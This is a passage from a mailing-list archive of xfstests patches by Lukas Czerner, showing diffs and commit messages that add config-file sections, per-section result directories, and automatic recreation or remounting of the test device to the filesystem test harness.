$n_try tests" echo "Failures:$bad" | fmt >>$check.log echo "Failed $n_bad of $n_try tests" >>$check.log + echo "Failures:$bad" >>$tmp.summary + echo "Failed $n_bad of $n_try tests" >>$tmp.summary else echo "Passed all $n_try tests" echo "Passed all $n_try tests" >>$check.log + echo "Passed all $n_try tests" >>$tmp.summary fi + echo "" >>$tmp.summary needwrap=false fi + sum_bad=`expr $sum_bad + $n_bad` + _wipe_counters rm -f /tmp/*.rawout /tmp/*.out /tmp/*.err /tmp/*.time - rm -f $tmp.* + if ! $OPTIONS_HAVE_SECTIONS; then + rm -f $tmp.* + fi } -trap "_wrapup; exit \$status" 0 1 2 3 15 +_summary() +{ + _wrapup + if $showme; then + : + elif $needsum; then + count=`wc -L $tmp.summary | cut -f1 -d" "` + cat $tmp.summary + needsum=false + fi + rm -f $tmp.* +} + +if $OPTIONS_HAVE_SECTIONS; then + trap "_summary; exit \$status" 0 1 2 3 15 +else + trap "_wrapup; exit \$status" 0 1 2 3 15 +fi + +for section in $HOST_OPTIONS_SECTIONS; do + get_next_config $section + init_rc -if true; then mkdir -p $RESULT_BASE if [ ! -d $RESULT_BASE ]; then echo "failed to create results directory $RESULTS_BASE" @@ -365,12 +404,15 @@ if true; then seq="check" check="$RESULT_BASE/check" -# don't leave old full output behind on a clean run + # don't leave old full output behind on a clean run rm -f $check.full [ -f $check.time ] || touch $check.time -# print out our test configuration + # print out our test configuration + if $OPTIONS_HAVE_SECTIONS; then + echo "SECTION -- $section" + fi echo "FSTYP -- `_full_fstyp_details`" echo "PLATFORM -- `_full_platform_details`" if [ ! -z "$SCRATCH_DEV" ]; then @@ -378,7 +420,7 @@ if true; then echo "MOUNT_OPTIONS -- `_scratch_mount_options`" fi echo - + needwrap=true if [ ! -z "$SCRATCH_DEV" ]; then umount $SCRATCH_DEV 2>/dev/null @@ -418,9 +460,14 @@ if true; then # Similarly, the result directory needs to replace the tests/ # part of the test location. group=`dirname $seq` - export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` + if $OPTIONS_HAVE_SECTIONS; then + export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;${RESULT_BASE}/$section;"` + seqres="$RESULT_BASE/$section/$seqnum" + else + export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` + seqres="$RESULT_BASE/$seqnum" + fi mkdir -p $RESULT_DIR - seqres="$RESULT_BASE/$seqnum" echo -n "$seqnum" @@ -534,8 +581,10 @@ if true; then seq="after_$seqnum" done -fi + _wrapup + echo +done interrupt=false -status=`expr $n_bad` +status=`expr $sum_bad` exit diff --git a/common/config b/common/config index 39dd469..8011ec4 100644 --- a/common/config +++ b/common/config @@ -221,15 +221,57 @@ known_hosts() [ -f $HOST_CONFIG_DIR/$HOST.config ] && export HOST_OPTIONS=$HOST_CONFIG_DIR/$HOST.config } +# Returns a list of sections in config file +# Each section starts with the section name in the format +# [section_name1]. Only alphanumeric characters and '_' is allowed +# in the section name otherwise the section will not be resognised. +# Section name must be contained between square brackets. +get_config_sections() { + sed -n -e "s/^\[\([[:alnum:]_]*\)\]/\1/p" < $1 +} + if [ ! -f "$HOST_OPTIONS" ]; then known_hosts fi +export HOST_OPTIONS_SECTIONS="-no-sections-" +export OPTIONS_HAVE_SECTIONS=false if [ -f "$HOST_OPTIONS" ]; then - . $HOST_OPTIONS + export HOST_OPTIONS_SECTIONS=`get_config_sections $HOST_OPTIONS` + if [ -z "$HOST_OPTIONS_SECTIONS" ]; then + . $HOST_OPTIONS + export HOST_OPTIONS_SECTIONS="-no-sections-" + else + export OPTIONS_HAVE_SECTIONS=true + fi fi +# Parse config section options. This function will parse all the configuration +# within a single section which name is passed as an argument. For section +# name format see comments in get_config_sections(). +# Empty lines and everything after '#' will be ignored. +# Configuration options should be defined in the format +# +# CONFIG_OPTION=value +# +# This 'CONFIG_OPTION' variable and will be exported as an environment variable. +parse_config_section() { + SECTION=$1 + if ! $OPTIONS_HAVE_SECTIONS; then + return 0 + fi + eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \ + -e 's/#.*$//' \ + -e 's/[[:space:]]*$//' \ + -e 's/^[[:space:]]*//' \ + -e "s/^\(.*\)=\"\?'\?\([^\"']*\)\"\?'\?$/export \1=\"\2\"/" \ + < $HOST_OPTIONS \ + | sed -n -e "/^\[$SECTION\]/,/^\s*\[/{/^[^#].*\=.*/p;}"` +} + get_next_config() { + parse_config_section $1 + # set default RESULT_BASE if [ -z "$RESULT_BASE" ]; then export RESULT_BASE="$here/results/" @@ -282,7 +324,10 @@ get_next_config() { fi } -get_next_config +if [ -z "$CONFIG_INCLUDED" ]; then + get_next_config `echo $HOST_OPTIONS_SECTIONS | cut -f1 -d" "` + export CONFIG_INCLUDED=true +fi # make sure this script returns success /bin/true -- 1.8.3.1 From lczerner@redhat.com Wed Jul 10 09:00:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9EC567F58 for ; Wed, 10 Jul 2013 09:00:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1EB5FAC009 for ; Wed, 10 Jul 2013 07:00:57 -0700 (PDT) X-ASG-Debug-ID: 1373464854-04cb6c2a46ae1b00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hirvzbFvb23EAYrd for ; Wed, 10 Jul 2013 07:00:54 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0rUg015408 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:53 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hc5007249; Wed, 10 Jul 2013 10:00:52 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 07/10] xfstests: Prepare for config section Date: Wed, 10 Jul 2013 16:00:36 +0200 X-ASG-Orig-Subj: [PATCH 07/10] xfstests: Prepare for config section Message-Id: <1373464839-31535-8-git-send-email-lczerner@redhat.com> In-Reply-To: <1373464839-31535-1-git-send-email-lczerner@redhat.com> References: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464854 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This stupid patch only put the indentation in place so we will be able to clearly see and review changes made in the second patch which will add a loop (instead of allways-true condition introduced in this patch) adding support for config sections. There are no changes in the logic, only indentation changes. Signed-off-by: Lukas Czerner --- check | 314 +++++++++++++++++++++++++++++++++--------------------------------- 1 file changed, 157 insertions(+), 157 deletions(-) diff --git a/check b/check index 1f41336..e1d0af2 100755 --- a/check +++ b/check @@ -355,186 +355,186 @@ END { if (NR > 0) { trap "_wrapup; exit \$status" 0 1 2 3 15 -mkdir -p $RESULT_BASE -if [ ! -d $RESULT_BASE ]; then - echo "failed to create results directory $RESULTS_BASE" - exit 1; -fi +if true; then + mkdir -p $RESULT_BASE + if [ ! -d $RESULT_BASE ]; then + echo "failed to create results directory $RESULTS_BASE" + exit 1; + fi -seq="check" -check="$RESULT_BASE/check" + seq="check" + check="$RESULT_BASE/check" # don't leave old full output behind on a clean run -rm -f $check.full + rm -f $check.full -[ -f $check.time ] || touch $check.time + [ -f $check.time ] || touch $check.time # print out our test configuration -echo "FSTYP -- `_full_fstyp_details`" -echo "PLATFORM -- `_full_platform_details`" -if [ ! -z "$SCRATCH_DEV" ]; then - echo "MKFS_OPTIONS -- `_scratch_mkfs_options`" - echo "MOUNT_OPTIONS -- `_scratch_mount_options`" -fi -echo - - -if [ ! -z "$SCRATCH_DEV" ]; then - umount $SCRATCH_DEV 2>/dev/null - # call the overridden mkfs - make sure the FS is built - # the same as we'll create it later. - - if ! _scratch_mkfs $flag >$tmp.err 2>&1 - then - echo "our local _scratch_mkfs routine ..." - cat $tmp.err - echo "check: failed to mkfs \$SCRATCH_DEV using specified options" - exit 1 - fi - - # call the overridden mount - make sure the FS mounts with - # the same options that we'll mount with later. - if ! _scratch_mount >$tmp.err 2>&1 - then - echo "our local mount routine ..." - cat $tmp.err - echo "check: failed to mount \$SCRATCH_DEV using specified options" - exit 1 - fi -fi - -seqres="$check" -_check_test_fs - -for seq in $list -do - err=false + echo "FSTYP -- `_full_fstyp_details`" + echo "PLATFORM -- `_full_platform_details`" + if [ ! -z "$SCRATCH_DEV" ]; then + echo "MKFS_OPTIONS -- `_scratch_mkfs_options`" + echo "MOUNT_OPTIONS -- `_scratch_mount_options`" + fi + echo - # the filename for the test and the name output are different. - # we don't include the tests/ directory in the name output. - seqnum=`echo $seq | sed -e "s;$SRC_DIR/;;"` - # Similarly, the result directory needs to replace the tests/ - # part of the test location. - group=`dirname $seq` - export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` - mkdir -p $RESULT_DIR - seqres="$RESULT_BASE/$seqnum" + if [ ! -z "$SCRATCH_DEV" ]; then + umount $SCRATCH_DEV 2>/dev/null + # call the overridden mkfs - make sure the FS is built + # the same as we'll create it later. - echo -n "$seqnum" + if ! _scratch_mkfs $flag >$tmp.err 2>&1 + then + echo "our local _scratch_mkfs routine ..." + cat $tmp.err + echo "check: failed to mkfs \$SCRATCH_DEV using specified options" + exit 1 + fi - if $showme - then - echo - continue - elif [ ! -f $seq ] - then - echo " - no such test?" - else - # really going to try and run this one - # - rm -f $seqres.out.bad - - # check if we really should run it - if [ -s $tmp.xlist ]; then - if grep $seqnum $tmp.xlist > /dev/null 2>&1 ; then - echo " [expunged]" - continue + # call the overridden mount - make sure the FS mounts with + # the same options that we'll mount with later. + if ! _scratch_mount >$tmp.err 2>&1 + then + echo "our local mount routine ..." + cat $tmp.err + echo "check: failed to mount \$SCRATCH_DEV using specified options" + exit 1 fi fi - # slashes now in names, sed barfs on them so use grep - lasttime=`grep -w ^$seqnum $check.time | awk '// {print $2}'` - if [ "X$lasttime" != X ]; then - echo -n " ${lasttime}s ..." - else - echo -n " " # prettier output with timestamps. - fi - rm -f core $seqres.notrun + seqres="$check" + _check_test_fs - start=`_wallclock` - $timestamp && echo -n " ["`date "+%T"`"]" - [ ! -x $seq ] && chmod u+x $seq # ensure we can run it - $LOGGER_PROG "run xfstest $seqnum" - ./$seq >$tmp.rawout 2>&1 - sts=$? - $timestamp && _timestamp - stop=`_wallclock` + for seq in $list + do + err=false - _fix_malloc <$tmp.rawout >$tmp.out - rm -f $tmp.rawout + # the filename for the test and the name output are different. + # we don't include the tests/ directory in the name output. + seqnum=`echo $seq | sed -e "s;$SRC_DIR/;;"` - if [ -f core ] - then - echo -n " [dumped core]" - mv core $RESULT_BASE/$seqnum.core - err=true - fi + # Similarly, the result directory needs to replace the tests/ + # part of the test location. + group=`dirname $seq` + export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` + mkdir -p $RESULT_DIR + seqres="$RESULT_BASE/$seqnum" - if [ -f $seqres.notrun ] - then - $timestamp || echo -n " [not run] " - $timestamp && echo " [not run]" && echo -n " $seqnum -- " - cat $seqres.notrun - notrun="$notrun $seqnum" - else - if [ $sts -ne 0 ] - then - echo -n " [failed, exit status $sts]" - err=true - fi - if [ ! -f $seq.out ] - then - echo " - no qualified output" - err=true - else - if diff $seq.out $tmp.out >/dev/null 2>&1 + echo -n "$seqnum" + + if $showme + then + echo + continue + elif [ ! -f $seq ] then - if $err - then - : - else - echo "$seqnum `expr $stop - $start`" >>$tmp.time - echo -n " `expr $stop - $start`s" - fi - echo "" + echo " - no such test?" else - echo " - output mismatch (see $seqres.out.bad)" - mv $tmp.out $seqres.out.bad - $diff $seq.out $seqres.out.bad | { - if test "$DIFF_LENGTH" -le 0; then - cat + # really going to try and run this one + # + rm -f $seqres.out.bad + + # check if we really should run it + if [ -s $tmp.xlist ]; then + if grep $seqnum $tmp.xlist > /dev/null 2>&1 ; then + echo " [expunged]" + continue + fi + fi + + # slashes now in names, sed barfs on them so use grep + lasttime=`grep -w ^$seqnum $check.time | awk '// {print $2}'` + if [ "X$lasttime" != X ]; then + echo -n " ${lasttime}s ..." else - head -n "$DIFF_LENGTH" - fi; } | \ - sed -e 's/^\(.\)/ \1/' - echo " ..." - echo " (Run '$diff $seq.out $seqres.out.bad' to see the" \ - "entire diff)" - err=true - fi - fi - fi + echo -n " " # prettier output with timestamps. + fi + rm -f core $seqres.notrun + + start=`_wallclock` + $timestamp && echo -n " ["`date "+%T"`"]" + [ ! -x $seq ] && chmod u+x $seq # ensure we can run it + $LOGGER_PROG "run xfstest $seqnum" + ./$seq >$tmp.rawout 2>&1 + sts=$? + $timestamp && _timestamp + stop=`_wallclock` + + _fix_malloc <$tmp.rawout >$tmp.out + rm -f $tmp.rawout + + if [ -f core ] + then + echo -n " [dumped core]" + mv core $RESULT_BASE/$seqnum.core + err=true + fi - fi + if [ -f $seqres.notrun ] + then + $timestamp || echo -n " [not run] " + $timestamp && echo " [not run]" && echo -n " $seqnum -- " + cat $seqres.notrun + notrun="$notrun $seqnum" + else + if [ $sts -ne 0 ] + then + echo -n " [failed, exit status $sts]" + err=true + fi + if [ ! -f $seq.out ] + then + echo " - no qualified output" + err=true + else + if diff $seq.out $tmp.out >/dev/null 2>&1 + then + if $err + then + : + else + echo "$seqnum `expr $stop - $start`" >>$tmp.time + echo -n " `expr $stop - $start`s" + fi + echo "" + else + echo " - output mismatch (see $seqres.out.bad)" + mv $tmp.out $seqres.out.bad + $diff $seq.out $seqres.out.bad | { + if test "$DIFF_LENGTH" -le 0; then + cat + else + head -n "$DIFF_LENGTH" + fi; } | \ + sed -e 's/^\(.\)/ \1/' + echo " ..." + echo " (Run '$diff $seq.out $seqres.out.bad' to see the entire diff)" + err=true + fi + fi + fi + fi - # come here for each test, except when $showme is true - # - if $err - then - bad="$bad $seqnum" - n_bad=`expr $n_bad + 1` - quick=false - fi - if [ ! -f $seqres.notrun ] - then - try="$try $seqnum" - n_try=`expr $n_try + 1` - _check_test_fs - fi + # come here for each test, except when $showme is true + # + if $err + then + bad="$bad $seqnum" + n_bad=`expr $n_bad + 1` + quick=false + fi + if [ ! -f $seqres.notrun ] + then + try="$try $seqnum" + n_try=`expr $n_try + 1` + _check_test_fs + fi - seq="after_$seqnum" -done + seq="after_$seqnum" + done +fi interrupt=false status=`expr $n_bad` -- 1.8.3.1 From lczerner@redhat.com Wed Jul 10 09:01:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 33C1E7F75 for ; Wed, 10 Jul 2013 09:00:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 27276304066 for ; Wed, 10 Jul 2013 07:00:59 -0700 (PDT) X-ASG-Debug-ID: 1373464858-04cbb0468fd95d10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id dECFI3ggfvi7SIIq for ; Wed, 10 Jul 2013 07:00:58 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0vFx010814 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:57 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hc8007249; Wed, 10 Jul 2013 10:00:56 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 10/10] xfstests: Remount file system if MOUNT_OPTIONS changed Date: Wed, 10 Jul 2013 16:00:39 +0200 X-ASG-Orig-Subj: [PATCH 10/10] xfstests: Remount file system if MOUNT_OPTIONS changed Message-Id: <1373464839-31535-11-git-send-email-lczerner@redhat.com> In-Reply-To: <1373464839-31535-1-git-send-email-lczerner@redhat.com> References: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464858 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When MOUNT_OPTIONS change we should remount TEST_DEV to put the changes in effect. This will allow us to have different MOUNT_OPTIONS in sections in configuration file. Signed-off-by: Lukas Czerner --- README.config-sections | 8 ++++++++ check | 8 ++++++++ 2 files changed, 16 insertions(+) diff --git a/README.config-sections b/README.config-sections index 4d60272..2849fd5 100644 --- a/README.config-sections +++ b/README.config-sections @@ -36,6 +36,14 @@ For every section xfstests will run with specified options and will produce separate results in the '$RESULT_BASE/$section_name' directory. +Different mount options +----------------------- + +Specifying different mount options in difference config sections is allowed. +When MOUNT_OPTIONS differs in the following section TEST_DEV will be remounted +with new MOUNT_OPTIONS automatically before running the test. + + Multiple file systems --------------------- diff --git a/check b/check index e6f6066..2d9496f 100755 --- a/check +++ b/check @@ -393,6 +393,7 @@ fi for section in $HOST_OPTIONS_SECTIONS; do OLD_FSTYP=$FSTYP + OLD_MOUNT_OPTIONS=$MOUNT_OPTIONS get_next_config $section mkdir -p $RESULT_BASE @@ -420,6 +421,13 @@ for section in $HOST_OPTIONS_SECTIONS; do echo $out exit 1 fi + elif [ "$OLD_MOUNT_OPTIONS" != "$MOUNT_OPTIONS" ]; then + _umount_or_remount_ro $TEST_DEV 2>&1> /dev/null + out=`_mount_or_remount_rw "$MOUNT_OPTIONS" $TEST_DEV $TEST_DIR` + if [ $? -ne 1 ]; then + echo $out + exit 1 + fi fi init_rc -- 1.8.3.1 From lczerner@redhat.com Wed Jul 10 09:00:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B91327F69 for ; Wed, 10 Jul 2013 09:00:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9B7B78F804C for ; Wed, 10 Jul 2013 07:00:57 -0700 (PDT) X-ASG-Debug-ID: 1373464856-04cbb04691d95d00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 4mLTX8lGTu15JyXQ for ; Wed, 10 Jul 2013 07:00:56 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0tOK010805 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:56 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hc7007249; Wed, 10 Jul 2013 10:00:55 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 09/10] xfstests: Allow to recreate TEST_DEV Date: Wed, 10 Jul 2013 16:00:38 +0200 X-ASG-Orig-Subj: [PATCH 09/10] xfstests: Allow to recreate TEST_DEV Message-Id: <1373464839-31535-10-git-send-email-lczerner@redhat.com> In-Reply-To: <1373464839-31535-1-git-send-email-lczerner@redhat.com> References: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464856 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add config option RECREATE_TEST_DEV to allow to recreate file system on the TEST_DEV device. Permitted values are true and false. If RECREATE_TEST_DEV is set to true the TEST_DEV device will be unmounted and FSTYP file system will be created on it. Afterwards it will be mounted to TEST_DIR again with the default, or specified mount options. Also recreate the file system if FSTYP differs from the previous section. Signed-off-by: Lukas Czerner --- README.config-sections | 43 ++++++++++++++++---- check | 28 +++++++++++-- common/config | 106 +++++++++++++++++++++++++++++++++++++++++++++++++ common/rc | 26 +++++++++--- 4 files changed, 186 insertions(+), 17 deletions(-) diff --git a/README.config-sections b/README.config-sections index 6d88a6f..4d60272 100644 --- a/README.config-sections +++ b/README.config-sections @@ -5,16 +5,20 @@ Configuration file with sections is useful for running xfstests on multiple file systems, or multiple file system setups in a single run without any help of external scripts. + +Syntax +------ + Syntax for defining a section is the following: -[section_name] + [section_name] Section name should consist of alphanumeric characters and '_'. Anything else is forbidden and the section will not be recognised. Each section in the configuration file should contain options in the format -OPTION=value + OPTION=value 'OPTION' must not contain any white space characters. 'value' can contain any character you want with one simple limitation - characters ' and " can @@ -24,9 +28,31 @@ Note that options are carried between sections so the same options does not have to be specified in each and every sections. However caution should be exercised not to leave unwanted options set from previous sections. + +Results +------- + For every section xfstests will run with specified options and will produce separate results in the '$RESULT_BASE/$section_name' directory. + +Multiple file systems +--------------------- + +Having different file systems in different config sections is allowed. When +FSTYP differs in the following section the FSTYP file system will be created +automatically before running the test. + +Note that if MOUNT_OPTIONS, MKFS_OPTIONS, or FSCK_OPTIONS are not directly +specified in the section it will be reset to the default for a given file +system. + +You can also force the file system recreation by specifying RECREATE_TEST_DEV. + + +Example +------- + Here is an example of config file with sections: [ext4_4k_block_size] @@ -36,6 +62,7 @@ SCRATCH_DEV=/dev/sdb SCRATCH_MNT=/mnt/test1 MKFS_OPTIONS="-q -F -b4096" FSTYP=ext4 +RESULT_BASE="`pwd`/results/`date +%d%m%y_%H%M%S`" [ext4_1k_block_size] MKFS_OPTIONS="-q -F -b1024" @@ -43,8 +70,10 @@ MKFS_OPTIONS="-q -F -b1024" [ext4_nojournal] MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" -[ext4_discard_ssd] -MKFS_OPTIONS="-q -F -b4096" -TEST_DEV=/dev/sdc -SCRATCH_DEV=/dev/sdd -MOUNT_OPTIONS="-o discard" +[xfs_filesystem] +MKFS_OPTIONS="-f" +FSTYP=xfs + +[ext3_filesystem] +FSTYP=ext3 +MOUNT_OPTIONS="-o noatime" diff --git a/check b/check index b242d5d..e6f6066 100755 --- a/check +++ b/check @@ -392,8 +392,8 @@ else fi for section in $HOST_OPTIONS_SECTIONS; do + OLD_FSTYP=$FSTYP get_next_config $section - init_rc mkdir -p $RESULT_BASE if [ ! -d $RESULT_BASE ]; then @@ -401,6 +401,29 @@ for section in $HOST_OPTIONS_SECTIONS; do exit 1; fi + if $OPTIONS_HAVE_SECTIONS; then + echo "SECTION -- $section" + fi + + if $RECREATE_TEST_DEV || [ "$OLD_FSTYP" != "$FSTYP" ]; then + echo "RECREATING -- $FSTYP on $TEST_DEV" + _umount_or_remount_ro $TEST_DEV 2>&1> /dev/null + if ! _test_mkfs >$tmp.err 2>&1 + then + echo "our local _test_mkfs routine ..." + cat $tmp.err + echo "check: failed to mkfs \$TEST_DEV using specified options" + exit 1 + fi + out=`_mount_or_remount_rw "$MOUNT_OPTIONS" $TEST_DEV $TEST_DIR` + if [ $? -ne 1 ]; then + echo $out + exit 1 + fi + fi + + init_rc + seq="check" check="$RESULT_BASE/check" @@ -410,9 +433,6 @@ for section in $HOST_OPTIONS_SECTIONS; do [ -f $check.time ] || touch $check.time # print out our test configuration - if $OPTIONS_HAVE_SECTIONS; then - echo "SECTION -- $section" - fi echo "FSTYP -- `_full_fstyp_details`" echo "PLATFORM -- `_full_platform_details`" if [ ! -z "$SCRATCH_DEV" ]; then diff --git a/common/config b/common/config index 8011ec4..a0b650b 100644 --- a/common/config +++ b/common/config @@ -82,6 +82,8 @@ export PWD=`pwd` export MALLOCLIB=${MALLOCLIB:=/usr/lib/libefence.a} export LOCAL_CONFIGURE_OPTIONS=${LOCAL_CONFIGURE_OPTIONS:=--enable-readline=yes} +export RECREATE_TEST_DEV=false + # $1 = prog to look for, $2* = default pathnames if not found in $PATH set_prog_path() { @@ -212,6 +214,91 @@ case "$HOSTOS" in ;; esac +_mount_opts() +{ + # SELinux adds extra xattrs which can mess up our expected output. + # So, mount with a context, and they won't be created + # # nfs_t is a "liberal" context so we can use it. + if [ -x /usr/sbin/selinuxenabled ] && /usr/sbin/selinuxenabled; then + SELINUX_MOUNT_OPTIONS="-o context=system_u:object_r:nfs_t:s0" + export SELINUX_MOUNT_OPTIONS + fi + + case $FSTYP in + xfs) + export MOUNT_OPTIONS=$XFS_MOUNT_OPTIONS + ;; + udf) + export MOUNT_OPTIONS=$UDF_MOUNT_OPTIONS + ;; + nfs) + export MOUNT_OPTIONS=$NFS_MOUNT_OPTIONS + ;; + ext2|ext3|ext4|ext4dev) + # acls & xattrs aren't turned on by default on ext$FOO + export MOUNT_OPTIONS="-o acl,user_xattr $EXT_MOUNT_OPTIONS" + ;; + reiserfs) + # acls & xattrs aren't turned on by default on reiserfs + export MOUNT_OPTIONS="-o acl,user_xattr $REISERFS_MOUNT_OPTIONS" + ;; + gfs2) + # acls aren't turned on by default on gfs2 + export MOUNT_OPTIONS="-o acl $GFS2_MOUNT_OPTIONS" + ;; + *) + ;; + esac +} + +_mkfs_opts() +{ + case $FSTYP in + xfs) + export MKFS_OPTIONS=$XFS_MKFS_OPTIONS + ;; + udf) + [ ! -z "$udf_fsize" ] && \ + UDF_MKFS_OPTIONS="$UDF_MKFS_OPTIONS -s $udf_fsize" + export MKFS_OPTIONS=$UDF_MKFS_OPTIONS + ;; + nfs) + export MKFS_OPTIONS=$NFS_MKFS_OPTIONS + ;; + reiserfs) + export MKFS_OPTIONS="$REISERFS_MKFS_OPTIONS -q" + ;; + gfs2) + export MKFS_OPTIONS="$GFS2_MKFS_OPTIONS -O -p lock_nolock" + ;; + jfs) + export MKFS_OPTIONS="$JFS_MKFS_OPTIONS -q" + ;; + *) + ;; + esac +} + +_fsck_opts() +{ + case $FSTYP in + ext2|ext3|ext4|ext4dev) + export FSCK_OPTIONS="-nf" + ;; + reiserfs) + export FSCK_OPTIONS="--yes" + ;; + *) + export FSCK_OPTIONS="-n" + ;; + esac +} + +[ -z "$FSTYP" ] && export FSTYP=xfs +[ -z "$MOUNT_OPTIONS" ] && _mount_opts +[ -z "$MKFS_OPTIONS" ] && _mkfs_opts +[ -z "$FSCK_OPTIONS" ] && _fsck_opts + known_hosts() { [ "$HOST_CONFIG_DIR" ] || HOST_CONFIG_DIR=`pwd`/configs @@ -270,8 +357,27 @@ parse_config_section() { } get_next_config() { + local OLD_FSTYP=$FSTYP + local OLD_MOUNT_OPTIONS=$MOUNT_OPTIONS + local OLD_MKFS_OPTIONS=$MKFS_OPTIONS + local OLD_FSCK_OPTIONS=$FSCK_OPTIONS + + unset MOUNT_OPTIONS + unset MKFS_OPTIONS + unset FSCK_OPTIONS + parse_config_section $1 + if [ -n "$OLD_FSTYP" ] && [ $OLD_FSTYP != $FSTYP ]; then + [ -z "$MOUNT_OPTIONS" ] && _mount_opts + [ -z "$MKFS_OPTIONS" ] && _mkfs_opts + [ -z "$FSCK_OPTIONS" ] && _fsck_opts + else + [ -z "$MOUNT_OPTIONS" ] && export MOUNT_OPTIONS=$OLD_MOUNT_OPTIONS + [ -z "$MKFS_OPTIONS" ] && export MKFS_OPTIONS=$OLD_MKFS_OPTIONS + [ -z "$FSCK_OPTIONS" ] && export FSCK_OPTIONS=$OLD_FSCK_OPTIONS + fi + # set default RESULT_BASE if [ -z "$RESULT_BASE" ]; then export RESULT_BASE="$here/results/" diff --git a/common/rc b/common/rc index 0dd30a3..10116a6 100644 --- a/common/rc +++ b/common/rc @@ -152,12 +152,6 @@ _fsck_opts() esac } -[ -z 